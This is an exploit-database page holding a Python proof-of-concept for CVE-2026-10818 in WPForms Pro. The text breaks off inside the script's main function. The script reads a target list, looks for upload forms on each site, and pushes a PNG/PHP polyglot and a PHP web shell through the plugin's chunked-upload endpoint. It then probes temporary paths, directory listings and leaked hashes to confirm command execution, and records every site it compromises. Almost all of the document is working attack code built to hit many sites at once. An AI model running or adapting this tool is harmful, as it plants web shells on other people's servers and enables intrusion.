Exploit database

GH-097100bcc0ad0bc9771ec2fd737564fb

nxploited/cve-2026-10818

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-10818

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
nxploited/cve-2026-10818Revision 7dd57525aa08

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-10818.py

Suggested starting filePython · 36,620 bytes
#by: Nxploited
from __future__ import annotations

import binascii
import hashlib
import os
import re
import secrets
import struct
import sys
import threading
import time
import uuid
import zlib
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
from urllib.parse import urlparse

try:
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    print("[!] pip install requests urllib3")
    raise SystemExit(1)

try:
    from bs4 import BeautifulSoup
    import warnings
    from bs4 import XMLParsedAsHTMLWarning
    warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning)
except ImportError:
    BeautifulSoup = None
except Exception:
    pass

HTTP_TIMEOUT = 20
TARGET_MAX_SECONDS = 240
DEFAULT_THREADS = 5
HIT_DIR = "Nx_hit"
RESULT_FILE = "Nx_shell.txt"
VULN_FILE = "Nx_vuln.txt"
SIG = "Nx-zD"
AJAX_PATH = "/wp-admin/admin-ajax.php"
TMP_PATH = "/wp-content/uploads/wpforms/tmp/"

HASH_FILE_RE = re.compile(r"(?i)(?<![0-9a-f])([0-9a-f]{32})\.([a-z0-9]{1,10})(?![a-z0-9])")

_R = "\033[0m"; _B = "\033[1m"; _DIM = "\033[90m"
_RED = "\033[38;2;255;20;20m"
_GRN = "\033[38;2;0;255;65m"
_YEL = "\033[38;2;255;160;0m"
_WHT = "\033[97m"
_G1 = "\033[38;2;57;255;20m"
_G2 = "\033[38;2;0;220;30m"
_G3 = "\033[38;2;0;170;15m"
_SUCC = "\033[38;2;0;255;0m"
_BDR = "\033[38;2;160;0;0m"

_SYMS = {_G1: "\u25C6", _G2: "\u25C6", _G3: "\u25C6", _GRN: "\u25CF",
         _SUCC: "\u25CF", _YEL: "\u25D0", _RED: "\u2717", _DIM: "\u25CB"}
_PW = 62

_plock = threading.Lock()
_wlock = threading.Lock()
_shutdown = threading.Event()

FORM_PAGES = [
    "/upload", "/file-upload", "/upload-file", "/upload-files",
    "/submit-file", "/submit-files", "/send-file", "/send-files",
    "/document-upload", "/upload-document", "/upload-documents",
    "/submit-document", "/submit-documents",
    "/application", "/submit-application", "/job-application",
    "/apply", "/apply-now", "/apply-online",
    "/support", "/submit-ticket", "/ticket", "/open-ticket",
    "/customer-support", "/request-support", "/help",
    "/claim", "/claims", "/submit-claim",
    "/warranty", "/warranty-claim",
    "/client-intake", "/patient-intake", "/intake",
    "/new-client", "/new-patient",
    "/incident-report", "/submit-report", "/report",
    "/complaint", "/complaints",
    "/contact", "/contact-us", "/get-in-touch",
    "/contacto", "/kontakt", "/contactenos",
    "/career", "/careers", "/join-us", "/recruitment", "/employment",
    "/quote", "/request-a-quote", "/get-a-quote", "/free-quote",
    "/estimate", "/request-estimate",
    "/order", "/order-form", "/custom-order", "/request-order",
    "/purchase", "/checkout",
    "/booking", "/book", "/book-now",
    "/appointment", "/schedule", "/reservation", "/reserve",
    "/registration", "/register", "/signup", "/sign-up",
    "/enroll", "/enrollment",
    "/feedback", "/survey", "/review", "/testimonial",
    "/donation", "/donate", "/volunteer", "/volunteer-application",
    "/vendor", "/vendor-registration",
    "/supplier", "/supplier-registration",
    "/partner", "/partner-application",
    "/form", "/forms", "/online-form",
    "/submission", "/submit", "/submit-form", "/send",
    "/inquiry", "/enquiry", "/ask", "/question",
    "/request", "/service-request", "/maintenance-request",
    "/consultation", "/free-consultation",
    "/demo", "/request-demo", "/free-trial",
    "/admission", "/admissions",
    "/internship", "/work-with-us",
    "/newsletter", "/subscribe",
    "/membership", "/join",
    "/loan", "/mortgage", "/insurance",
    "/return", "/returns", "/rma",
    "/wpforms-natural-upload-lab/",
    "/", "/sample-page", "/about", "/about-us",
    "/services", "/our-services", "/pricing", "/plans",
    "/faq", "/resources", "/blog", "/news",
    "/portfolio", "/gallery", "/testimonials", "/reviews",
    "/privacy-policy", "/terms", "/sitemap",
]


def _ansi():
    try:
        sys.stdout.reconfigure(encoding="utf-8", errors="replace")
    except Exception:
        pass
    if os.name != "nt":
        return
    try:
        import ctypes
        h = ctypes.windll.kernel32.GetStdHandle(-11)
        m = ctypes.c_uint32()
        if ctypes.windll.kernel32.GetConsoleMode(h, ctypes.byref(m)):
            ctypes.windll.kernel32.SetConsoleMode(h, m.value | 0x0004)
        ctypes.windll.kernel32.SetConsoleOutputCP(65001)
    except Exception:
        pass


def _vlen(s):
    return len(re.sub(r'\033\[[^m]*m', '', s))


def _prow(c=""):
    pad = _PW - _vlen(c)
    return f"  {_BDR}\u2503{_R}{c}{' ' * max(0, pad)}{_BDR}\u2503{_R}"


def ui(msg="", *, end="\n"):
    with _plock:
        print(msg, end=end, flush=True)


def ui_prompt(label):
    ui(f"  {_G2}\u276f{_R} {_WHT}{label}{_R} ", end="")
    try:
        return input().strip()
    except EOFError:
        return ""


def ui_stage(host, stage, msg, color=_DIM):
    ts = time.strftime("%H:%M:%S")
    sym = _SYMS.get(color, "\u25C7")
    ui(f"  {_DIM}{ts}{_R}  {color}{sym}{_R}  {_WHT}{host:<28s}{_R}  {color}{stage:>7s}{_R}  {msg}")


def ui_ok(msg):
    ui(f"\n  {_SUCC}\u25CF  {msg}{_R}\n")


def ui_fail(msg):
    ui(f"  {_RED}\u2717  {msg}{_R}")


def show_banner():
    _ansi()
    os.system("cls" if os.name == "nt" else "clear")
    top = f"  {_BDR}\u250F{'\u2501' * _PW}\u2513{_R}"
    sep = f"  {_BDR}\u2523{'\u2501' * _PW}\u252B{_R}"
    bot = f"  {_BDR}\u2517{'\u2501' * _PW}\u251B{_R}"
    ui()
    ui(top)
    ui(_prow())
    ui(_prow(f"      {_G1}{_B}\u2588\u2588\u2584    \u2588\u2588  \u2588\u2588  \u2588\u2588{_R}"))
    ui(_prow(f"      {_G1}{_B}\u2588\u2588\u2588\u2588   \u2588\u2588   \u2588\u2588\u2588\u2588{_R}"))
    ui(_prow(f"      {_G2}{_B}\u2588\u2588 \u2588\u2588  \u2588\u2588    \u2588\u2588{_R}"))
    ui(_prow(f"      {_G2}{_B}\u2588\u2588  \u2588\u2588\u2588\u2588   \u2588\u2588\u2588\u2588{_R}"))
    ui(_prow(f"      {_G3}{_B}\u2588\u2588   \u2588\u2588\u2588  \u2588\u2588  \u2588\u2588{_R}"))
    ui(_prow())
    ui(_prow(f"      {_WHT}{_B}Nxploited{_R}  {_RED}\u2501{_R}  {_WHT}Khaled Alenazi{_R}  {_RED}\u2501{_R}  {_DIM}T.m @Kxploit{_R}"))
    ui(sep)
    ui(_prow(f"      {_G2}CVE-2026-10818{_R}     {_WHT}WPForms Pro \u2264 1.10.1.1{_R}"))
    ui(_prow(f"      {_DIM}Chunked Upload \u2192 Predictable Path \u2192 RCE{_R}"))
    ui(_prow(f"      {_DIM}Results \u2501\u25B8 {_WHT}{HIT_DIR}/{_R}"))
    ui(_prow())
    ui(bot)
    ui()


def append_result(path, line):
    with _wlock:
        with open(path, "a", encoding="utf-8") as f:
            f.write(line + "\n")


def _png_chunk(kind, data):
    crc = binascii.crc32(kind + data) & 0xFFFFFFFF
    return struct.pack(">I", len(data)) + kind + data + struct.pack(">I", crc)


def build_polyglot_png(marker_id):
    sig = b"\x89PNG\r\n\x1a\n"
    ihdr = _png_chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0))
    text = _png_chunk(b"tEXt", b"Comment\x00" + f"NXK_{marker_id}".encode("latin-1"))
    raw_pixel = b"\x00\x22\x88\xcc"
    idat = _png_chunk(b"IDAT", zlib.compress(raw_pixel, 9))
    iend = _png_chunk(b"IEND", b"")
    png = sig + ihdr + text + idat + iend
    php = (
        b"\n<?php "
        b"echo '" + SIG.encode() + b" ';"
        b"if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['f'])){"
        b"$d=dirname(__FILE__).'/';"
        b"$n=basename($_FILES['f']['name']);"
        b"$n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);"
        b"if($n==='')$n='upload.bin';"
        b"if(move_uploaded_file($_FILES['f']['tmp_name'],$d.$n))"
        b"{echo 'OK '.$d.$n;}else{echo 'FAIL';}"
        b"}else{"
        b"echo php_uname().' ';"
        b"$i=@shell_exec('id 2>/dev/null');if($i)echo trim($i).' ';"
        b"$w=@shell_exec('whoami 2>nul');if($w)echo trim($w);"
        b"} ?>"
        b"\n<form method='POST' enctype='multipart/form-data'>"
        b"<input type='file' name='f'><input type='submit' value='Upload'></form>"
    )
    return png + php


def build_shell_php():
    return (
        "<?php\n"
        f"echo '{SIG} ';\n"
        "if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['f'])){\n"
        "$d=dirname(__FILE__).'/';"
        "$n=basename($_FILES['f']['name']);"
        "$n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);"
        "if($n==='')$n='upload.bin';"
        "if(move_uploaded_file($_FILES['f']['tmp_name'],$d.$n))"
        "{echo 'OK '.$d.$n;}else{echo 'FAIL';}\n"
        "}else{\n"
        "echo php_uname().' ';"
        "$i=@shell_exec('id 2>/dev/null');if($i)echo trim($i).' ';"
        "$w=@shell_exec('whoami 2>nul');if($w)echo trim($w);\n"
        "} ?>\n"
        "<form method='POST' enctype='multipart/form-data'>"
        "<input type='file' name='f'><input type='submit' value='Upload'></form>"
    ).encode()


def new_session(referer=""):
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
        "Accept": "application/json, text/javascript, text/html, */*;q=0.8",
        "X-Requested-With": "XMLHttpRequest",
        "Cache-Control": "no-cache",
    })
    if referer:
        s.headers["Referer"] = referer
    return s


def detect_wpforms_version(session, base):
    for path in (
        "/wp-content/plugins/wpforms/readme.txt",
        "/wp-content/plugins/wpforms-lite/readme.txt",
    ):
        try:
            r = session.get(base + path, timeout=8, verify=False)
            if r.status_code == 200:
                m = re.search(r'Stable tag:\s*([0-9.]+)', r.text, re.I)
                if m:
                    return m.group(1)
        except Exception:
            pass
    try:
        r = session.get(base + "/", timeout=8, verify=False)
        if r.status_code == 200:
            m = re.search(r'wpforms[^"\']*ver=([0-9.]+)', r.text, re.I)
            if m:
                return m.group(1)
    except Exception:
        pass
    return None


def is_vuln_version(ver_str):
    if not ver_str:
        return None
    try:
        parts = [int(x) for x in ver_str.split(".")[:4]]
        target = [1, 10, 1, 1]
        while len(parts) < 4:
            parts.append(0)
        return parts <= target
    except Exception:
        return None


def discover_pages(session, base):
    pages = list(FORM_PAGES)
    try:
        r = session.get(base + "/", timeout=8, verify=False, allow_redirects=True)
        if r.status_code == 200:
            for m in re.finditer(r'href="(/[^"#?]{1,120})"', r.text):
                pages.append(m.group(1).rstrip("/") or "/")
            for m in re.finditer(r'href="(' + re.escape(base) + r'/[^"#?]{1,120})"', r.text):
                p = urlparse(m.group(1)).path
                if p:
                    pages.append(p.rstrip("/") or "/")
    except Exception:
        pass
    for sp in ("/sitemap.xml", "/wp-sitemap.xml", "/wp-sitemap-posts-page-1.xml"):
        try:
            r = session.get(base + sp, timeout=8, verify=False)
            if r.status_code == 200 and "<loc>" in r.text:
                for m in re.finditer(r'<loc>([^<]+)</loc>', r.text):
                    p = urlparse(m.group(1)).path
                    if p and not p.endswith((".xml", ".gz")):
                        pages.append(p.rstrip("/") or "/")
        except Exception:
            pass
    seen = set()
    unique = []
    for p in pages:
        p = p.rstrip("/") or "/"
        if p not in seen:
            seen.add(p)
            unique.append(p)
    return unique[:250]


def discover_forms(session, base, host):
    found = []
    checked = set()
    all_pages = discover_pages(session, base)
    for page in all_pages:
        if _shutdown.is_set():
            break
        url = base + page
        if url in checked:
            continue
        checked.add(url)
        try:
            r = session.get(url, timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
            if r.status_code != 200:
                continue
            body = r.text
        except Exception:
            continue
        uploaders = []
        if BeautifulSoup:
            soup = BeautifulSoup(body, "html.parser")
            for up in soup.select(".wpforms-uploader"):
                fid = str(up.get("data-form-id", ""))
                field = str(up.get("data-field-id", ""))
                inp = str(up.get("data-input-name", ""))
                exts = str(up.get("data-extensions", ""))
                if fid and field and inp:
                    uploaders.append({"form_id": fid, "field_id": field, "input_name": inp, "extensions": exts, "page": page, "page_url": r.url})
        else:
            for m in re.finditer(
                r'data-form-id="(\d+)"[^>]*data-field-id="(\d+)"[^>]*data-input-name="([^"]+)"', body, re.I | re.S):
                uploaders.append({"form_id": m.group(1), "field_id": m.group(2), "input_name": m.group(3), "extensions": "", "page": page, "page_url": r.url})
        if not uploaders and "wpforms" in body.lower() and "file-upload" in body.lower():
            fid_m = re.search(r'data-form-id="(\d+)"', body)
            fld_m = re.search(r'data-field-id="(\d+)"', body)
            inp_m = re.search(r'data-input-name="([^"]+)"', body)
            if fid_m and fld_m and inp_m:
                uploaders.append({"form_id": fid_m.group(1), "field_id": fld_m.group(1), "input_name": inp_m.group(1), "extensions": "", "page": page, "page_url": r.url})
        for up in uploaders:
            key = f"{up['form_id']}:{up['field_id']}"
            if key not in {f"{x['form_id']}:{x['field_id']}" for x in found}:
                found.append(up)
    return found


def verify_execution(session, url):
    if not url:
        return None
    try:
        r = session.get(url, timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
        raw = r.content
        ct = r.headers.get("Content-Type", "").lower()
        if r.status_code in (403, 404):
            return {"status": r.status_code, "executed": False, "reason": f"HTTP {r.status_code}", "url": url}
        if r.status_code != 200:
            return {"status": r.status_code, "executed": False, "reason": f"HTTP {r.status_code}"}
        body = raw.decode("utf-8", errors="replace")
        has_sig = SIG in body
        has_src = b"<?php" in raw or b"<?=" in raw
        if has_sig and not has_src:
            return {"status": 200, "executed": True, "body": body[:500], "url": url, "ct": ct}
        if has_sig and has_src:
            return {"status": 200, "executed": False, "reason": "source served", "url": url}
        return {"status": 200, "executed": False, "reason": "no signature", "url": url}
    except Exception as e:
        return {"status": 0, "executed": False, "reason": str(e)}


def pathinfo_probe(session, url):
    for suffix in ("/x.php", "/.php", "%2fx.php", "/nx.php5"):
        try:
            ver = verify_execution(session, url + suffix)
            if ver and ver.get("executed"):
                return ver
        except Exception:
            pass
    return None


def _check_shell(session, url, host, result_f, label=""):
    ver = verify_execution(session, url)
    if ver and ver.get("executed"):
        body_preview = ver.get("body", "")[:200]
        ui_ok(f"{host}  SHELL  {label}  {url}")
        ui(f"    {_G1}{body_preview}{_R}")
        append_result(result_f, f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {url} | {label} | {body_preview}")
        return True
    pi = pathinfo_probe(session, url)
    if pi and pi.get("executed"):
        body_preview = pi.get("body", "")[:200]
        pi_url = pi.get("url", url)
        ui_ok(f"{host}  SHELL(pathinfo)  {label}  {pi_url}")
        ui(f"    {_G1}{body_preview}{_R}")
        append_result(result_f, f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {pi_url} | pathinfo:{label} | {body_preview}")
        return True
    return False


def _list_tmp_dir(session, base):
    files = set()
    dir_url = base + TMP_PATH
    for suffix in ("", "?C=M;O=D", "?C=N;O=D", "?C=S;O=D"):
        try:
            r = session.get(dir_url + suffix, timeout=10, verify=False)
            if r.status_code != 200:
                continue
            low = r.text.lower()
            if any(k in low for k in ("index of", "parent directory", "<pre>", "directory listing", "<li>", "<a href")):
                for m in re.finditer(r'href="([^"?#]+)"', r.text):
                    fn = m.group(1).rstrip("/").split("/")[-1]
                    if fn and fn not in (".", "..") and not fn.startswith("?"):
                        files.add(fn)
                if files:
                    break
        except Exception:
            pass
    return files


def _extract_hashes_from_response(resp_text, resp_headers=None):
    found = set()
    for m in HASH_FILE_RE.finditer(resp_text):
        found.add((m.group(1), m.group(2)))
    if resp_headers:
        hdr_str = " ".join(f"{k}: {v}" for k, v in resp_headers.items())
        for m in HASH_FILE_RE.finditer(hdr_str):
            found.add((m.group(1), m.group(2)))
    return found


def upload_flow(session, base, ajax_url, uploader, filename, content, mime, do_finalize=True):
    uid = str(uuid.uuid4())
    prefix = hashlib.sha1(uid.encode("ascii")).hexdigest()
    form_id = uploader["form_id"]
    field_id = uploader["field_id"]
    input_name = uploader["input_name"]
    chunk_basename = f"{prefix}-0.chunk"
    chunk_url = base + TMP_PATH + chunk_basename
    meta_url = base + TMP_PATH + f"{prefix}-metadata.json"
    resp_texts = []
    try:
        r1 = session.post(ajax_url, data={
            "action": "wpforms_upload_chunk_init",
            "form_id": form_id, "field_id": field_id,
            "name": filename, "dzuuid": uid,
            "dztotalfilesize": str(len(content)),
            "dztotalchunkcount": "1",
        }, timeout=HTTP_TIMEOUT, verify=False)
        j1 = r1.json() if r1.status_code == 200 else {}
        resp_texts.append(r1.text)
    except Exception:
        return None
    chunk_size = 2 * 1024 * 1024
    if isinstance(j1, dict) and j1.get("success"):
        try:
            chunk_size = int(j1["data"]["dzchunksize"])
        except Exception:
            pass
    try:
        r2 = session.post(ajax_url, data={
            "action": "wpforms_upload_chunk",
            "form_id": form_id, "field_id": field_id,
            "dzuuid": uid, "dzchunkindex": "0",
            "dzchunksize": str(chunk_size),
            "dztotalchunkcount": "1", "dzchunkbyteoffset": "0",
        }, files={input_name: (filename, content, mime)},
            timeout=HTTP_TIMEOUT, verify=False)
        j2 = r2.json() if r2.status_code == 200 else {}
        chunk_ok = isinstance(j2, dict) and j2.get("success") is True
        resp_texts.append(r2.text)
    except Exception:
        return None
    result = {
        "uuid": uid,
        "sha1_prefix": prefix,
        "chunk_basename": chunk_basename,
        "chunk_url": chunk_url,
        "meta_url": meta_url,
        "chunk_success": chunk_ok,
        "filename": filename,
        "finalize_success": None,
        "resp_texts": resp_texts,
    }
    if do_finalize:
        try:
            r3 = session.post(ajax_url, data={
                "action": "wpforms_file_chunks_uploaded",
                "form_id": form_id, "field_id": field_id,
                "name": filename, "dzuuid": uid,
                "dztotalfilesize": str(len(content)),
                "dztotalchunkcount": "1",
            }, timeout=HTTP_TIMEOUT, verify=False)
            j3 = r3.json() if r3.status_code == 200 else {}
            resp_texts.append(r3.text)
            result["finalize_headers"] = dict(r3.headers)
            result["finalize_success"] = j3.get("success") if isinstance(j3, dict) else None
            if isinstance(j3, dict) and isinstance(j3.get("data"), dict):
                d = j3["data"]
                if d.get("url"):
                    result["url"] = d["url"]
                if d.get("file"):
                    result["file"] = d["file"]
                if d.get("name"):
                    result["fin_name"] = d["name"]
            result["fin_hashes"] = _extract_hashes_from_response(r3.text, r3.headers)
        except Exception:
            pass
    return result


def process_target(target, hit_dir):
    raw = (target or "").strip()
    if not raw:
        return "skip"
    t0 = time.monotonic()
    parsed = urlparse(raw if "://" in raw else f"https://{raw}")
    host = parsed.hostname or raw
    base = f"{parsed.scheme or 'https'}://{parsed.netloc}"
    if parsed.path and parsed.path != "/":
        base += parsed.path.rstrip("/")
    result_f = hit_dir / RESULT_FILE
    vuln_f = hit_dir / VULN_FILE

    def _timeout(s=""):
        if time.monotonic() - t0 > TARGET_MAX_SECONDS:
            raise RuntimeError(f"timeout at {s}")

    session = new_session(base + "/")
    for scheme in ("https", "http"):
        if _shutdown.is_set():
            return "skip"
        test_base = f"{scheme}://{parsed.netloc}" + (parsed.path.rstrip("/") if parsed.path and parsed.path != "/" else "")
        try:
            r = session.get(test_base + "/", timeout=8, verify=False, allow_redirects=True)
            if r.status_code < 500:
                base = test_base
                break
        except Exception:
            continue
    else:
        ui_stage(host, "REACH", "offline", _RED)
        return "skip"
    _timeout("REACH")

    ver = detect_wpforms_version(session, base)
    if ver:
        vuln = is_vuln_version(ver)
        if vuln is False:
            ui_stage(host, "VER", f"WPForms {ver} patched", _YEL)
            return "skip"
        elif vuln is True:
            ui_stage(host, "VER", f"WPForms {ver} vulnerable", _G2)
    _timeout("VER")

    forms = discover_forms(session, base, host)
    if not forms:
        ui_stage(host, "FORM", "no upload form found", _DIM)
        return "skip"
    ui_stage(host, "FORM", f"{len(forms)} upload form(s) on {forms[0]['page']}", _G2)
    _timeout("FORM")

    ajax_url = base + AJAX_PATH
    try:
        r_test = session.post(ajax_url, data={"action": "wpforms_upload_chunk_init"}, timeout=10, verify=False)
        if r_test.status_code == 200:
            try:
                j_test = r_test.json()
                if not (isinstance(j_test, dict) and "success" in j_test):
                    if r_test.text.strip() == "0":
                        ui_stage(host, "AJAX", "callback not registered", _RED)
                        return "skip"
            except Exception:
                if r_test.text.strip() == "0":
                    ui_stage(host, "AJAX", "callback not registered", _RED)
                    return "skip"
        elif r_test.status_code in (403, 401):
            ui_stage(host, "AJAX", f"blocked {r_test.status_code}", _RED)
            return "skip"
    except Exception:
        pass
    _timeout("AJAX")

    marker_id = secrets.token_hex(6)
    uploader = forms[0]
    referer = uploader.get("page_url", base + uploader["page"])
    session.headers["Referer"] = referer
    best_write = None
    all_results = []

    poly = build_polyglot_png(marker_id)
    shell = build_shell_php()

    EXEC_EXTS = {".php", ".phtml", ".php5", ".phar", ".shtml"}

    safe_payloads = [
        ("poly_png",    f"nx-{marker_id}.png",      poly,  "image/png"),
        ("shell_png",   f"nx-{marker_id}b.png",     shell, "image/png"),
        ("poly_jpg",    f"nx-{marker_id}.jpg",       poly,  "image/jpeg"),
        ("shell_jpg",   f"nx-{marker_id}b.jpg",      shell, "image/jpeg"),
        ("poly_pdf",    f"nx-{marker_id}.pdf",        poly,  "application/pdf"),
        ("dbl_php_png", f"nx-{marker_id}.php.png",   poly,  "image/png"),
    ]

    exec_payloads = [
        ("shell_php",   f"nx-{marker_id}.php",       shell, "image/png"),
        ("shell_phtml", f"nx-{marker_id}.phtml",     shell, "image/png"),
        ("shell_php5",  f"nx-{marker_id}.php5",      shell, "image/png"),
        ("shell_phar",  f"nx-{marker_id}.phar",      shell, "image/png"),
        ("shell_shtml", f"nx-{marker_id}.shtml",     shell, "image/png"),
    ]

    nofin_payloads = [
        ("nofin_poly",  "nx-nf.png",   poly,  "image/png"),
        ("nofin_shell", "nx-nf2.png",  shell, "image/png"),
        ("nofin_php",   "nx-nf.php",   shell, "image/png"),
        ("nofin_phtml", "nx-nf.phtml", shell, "image/png"),
    ]

    ui_stage(host, "UPLOAD", f"{len(safe_payloads)} safe + {len(exec_payloads)} exec payloads", _G2)

    for tag, fname, content, mime in safe_payloads:
        if _shutdown.is_set():
            break
        _timeout("SAFE")
        res = upload_flow(session, base, ajax_url, uploader, fname, content, mime, do_finalize=True)
        if not res:
            continue
        all_results.append((tag, fname, content, res))
        if res.get("url"):
            ui_stage(host, "FIN", f"{tag} \u2192 {res.get('file','')} URL returned", _G2)
            if _check_shell(session, res["url"], host, result_f, f"fin:{tag}"):
                return "shell"
            if not best_write:
                best_write = {"url": res["url"], "label": f"fin:{tag}:{res.get('file','')}", "type": "finalized"}

    _timeout("SAFE_DONE")

    before_files = _list_tmp_dir(session, base)
    dir_enabled = len(before_files) > 0
    if dir_enabled:
        ui_stage(host, "DIR", f"listing enabled, {len(before_files)} file(s) before exec upload", _G2)
    _timeout("DIR_BEFORE")

    exec_leaked = set()
    for tag, fname, content, mime in exec_payloads:
        if _shutdown.is_set():
            break
        _timeout("EXEC")
        res = upload_flow(session, base, ajax_url, uploader, fname, content, mime, do_finalize=True)
        if not res:
            continue
        all_results.append((tag, fname, content, res))

        if res.get("url"):
            ui_stage(host, "EXEC", f"{tag} \u2192 {res.get('file','')} URL!", _G2)
            if _check_shell(session, res["url"], host, result_f, f"exec:{tag}"):
                return "shell"
            if not best_write:
                best_write = {"url": res["url"], "label": f"exec:{tag}:{res.get('file','')}", "type": "finalized"}
        elif res.get("fin_name"):
            fn = res["fin_name"]
            guess_url = base + TMP_PATH + fn
            ui_stage(host, "EXEC", f"{tag} \u2192 name leaked: {fn}", _G2)
            if _check_shell(session, guess_url, host, result_f, f"name:{tag}:{fn}"):
                return "shell"
        elif res.get("chunk_success"):
            ui_stage(host, "EXEC", f"{tag} \u2192 finalized on disk (hash unknown)", _YEL)
            if not best_write:
                best_write = {"url": base + TMP_PATH, "label": f"write:{tag}:{fname}", "type": "write-no-url"}

        for h, ext in res.get("fin_hashes", set()):
            exec_leaked.add((h, ext))
        for rt in res.get("resp_texts", []):
            for m in HASH_FILE_RE.finditer(rt):
                exec_leaked.add((m.group(1), m.group(2)))

    _timeout("EXEC_DONE")

    if dir_enabled:
        after_files = _list_tmp_dir(session, base)
        new_files = after_files - before_files
        exec_new = [f for f in new_files if any(f.lower().endswith(e) for e in EXEC_EXTS)]
        other_new = [f for f in new_files if f not in exec_new]
        if exec_new:
            ui_stage(host, "DIR", f"{len(exec_new)} NEW exec file(s) after upload!", _G1)
            for fn in exec_new:
                file_url = base + TMP_PATH + fn
                if _check_shell(session, file_url, host, result_f, f"dir-new:{fn}"):
                    return "shell"
                if not best_write:
                    best_write = {"url": file_url, "label": f"dir-new:{fn}", "type": "dir-exec"}
        if other_new:
            ui_stage(host, "DIR", f"{len(other_new)} new file(s): {', '.join(list(other_new)[:5])}", _G2)
            for fn in other_new:
                file_url = base + TMP_PATH + fn
                if _check_shell(session, file_url, host, result_f, f"dir-new:{fn}"):
                    return "shell"
        if not new_files:
            ui_stage(host, "DIR", "no new files after exec upload", _DIM)
    else:
        all_dir = _list_tmp_dir(session, base)
        if all_dir:
            ui_stage(host, "DIR", f"listing found {len(all_dir)} file(s)", _G2)
            exec_in_dir = [f for f in all_dir if any(f.lower().endswith(e) for e in EXEC_EXTS)]
            for fn in exec_in_dir[:20]:
                file_url = base + TMP_PATH + fn
                if _check_shell(session, file_url, host, result_f, f"dir:{fn}"):
                    return "shell"
                if not best_write:
                    best_write = {"url": file_url, "label": f"dir:{fn}", "type": "dir-exec"}

    _timeout("DIR_AFTER")

    if exec_leaked:
        ui_stage(host, "LEAK", f"{len(exec_leaked)} hash(es) from exec responses", _G2)
        for h, ext in exec_leaked:
            leak_url = base + TMP_PATH + f"{h}.{ext}"
            if _check_shell(session, leak_url, host, result_f, f"leak:{h}.{ext}"):
                return "shell"
            try:
                r_l = session.get(leak_url, timeout=10, verify=False)
                if r_l.status_code == 200:
                    body_txt = r_l.content.decode("utf-8", errors="replace")
                    has_sig = SIG in body_txt
                    ui_stage(host, "LEAK", f"{h}.{ext} \u2192 200 sig={has_sig}", _G2 if has_sig else _DIM)
                    if has_sig and not best_write:
                        best_write = {"url": leak_url, "label": f"leak:{h}.{ext}", "type": "leaked"}
            except Exception:
                pass

    leaked_hashes = set()
    for _, _, _, res in all_results:
        for rt in res.get("resp_texts", []):
            for m in HASH_FILE_RE.finditer(rt):
                leaked_hashes.add((m.group(1), m.group(2)))
    leaked_hashes -= exec_leaked
    if leaked_hashes:
        ui_stage(host, "LEAK", f"{len(leaked_hashes)} hash(es) from safe responses", _G2)
        for h, ext in leaked_hashes:
            leak_url = base + TMP_PATH + f"{h}.{ext}"
            if _check_shell(session, leak_url, host, result_f, f"leak:{h}.{ext}"):
                return "shell"

    _timeout("LEAK_DONE")

    ui_stage(host, "CHUNK", f"{len(nofin_payloads)} chunk-only (no finalize)", _G2)

    for tag, fname, content, mime in nofin_payloads:
        if _shutdown.is_set():
            break
        _timeout("CHUNK")
        res = upload_flow(session, base, ajax_url, uploader, fname, content, mime, do_finalize=False)
        if not res:
            continue
        all_results.append((tag, fname, content, res))
        if not res.get("chunk_success"):
            continue
        chunk_url = res["chunk_url"]
        try:
            r_v = session.get(chunk_url, timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
        except Exception:
            continue
        if r_v.status_code == 200:
            exact = r_v.content == content
            sz_info = "exact" if exact else f"{len(r_v.content)}/{len(content)}"
            ui_stage(host, "CHUNK", f"{tag} \u2192 {res['chunk_basename']} 200 ({sz_info})", _G2)
            if _check_shell(session, chunk_url, host, result_f, f"chunk:{tag}"):
                return "shell"
            if not best_write:
                best_write = {"url": chunk_url, "label": f"chunk:{tag}:{res['chunk_basename']}", "type": "chunk"}
        else:
            ui_stage(host, "CHUNK", f"{tag} {res['chunk_basename']} HTTP {r_v.status_code}", _DIM)

    _timeout("CHUNK_DONE")

    for _, _, content, res in all_results:
        if not res.get("chunk_success"):
            continue
        chunk_url = res["chunk_url"]
        pi = pathinfo_probe(session, chunk_url)
        if pi and pi.get("executed"):
            body_preview = pi.get("body", "")[:200]
            pi_url = pi.get("url", chunk_url)
            ui_ok(f"{host}  SHELL(pathinfo)  chunk  {pi_url}")
            ui(f"    {_G1}{body_preview}{_R}")
            append_result(result_f, f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {pi_url} | pathinfo:chunk | {body_preview}")
            return "shell"

    if best_write:
        url = best_write["url"]
        label = best_write["label"]
        btype = best_write["type"]
        ui_stage(host, "WRITE", f"{btype}: {label}", _YEL)
        append_result(vuln_f, f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {url} | {label}")
        return "vuln"

    ui_stage(host, "RESULT", "no upload succeeded", _RED)
    return "miss"


def load_targets(path):
    sites, seen = [], set()
    with open(path, encoding="utf-8", errors="replace") as f:
        for line in f:
            u = line.replace("\ufeff", "").strip()
            if not u or u.startswith("#"):
                continue
            k = re.sub(r"^https?://", "", u).rstrip("/").lower()
            if k not in seen:
                seen.add(k)
                sites.append(u)
    return sites


def main():
    show_banner()
    base_dir = Path(os.path.dirname(os.path.abspath(sys.argv[0])))
    hit_dir = base_dir / HIT_DIR
    hit_dir.mkdir(exist_ok=True)

    tf = ui_prompt(f"Targets file {_DIM}[list.txt]{_R}:") or "list.txt"
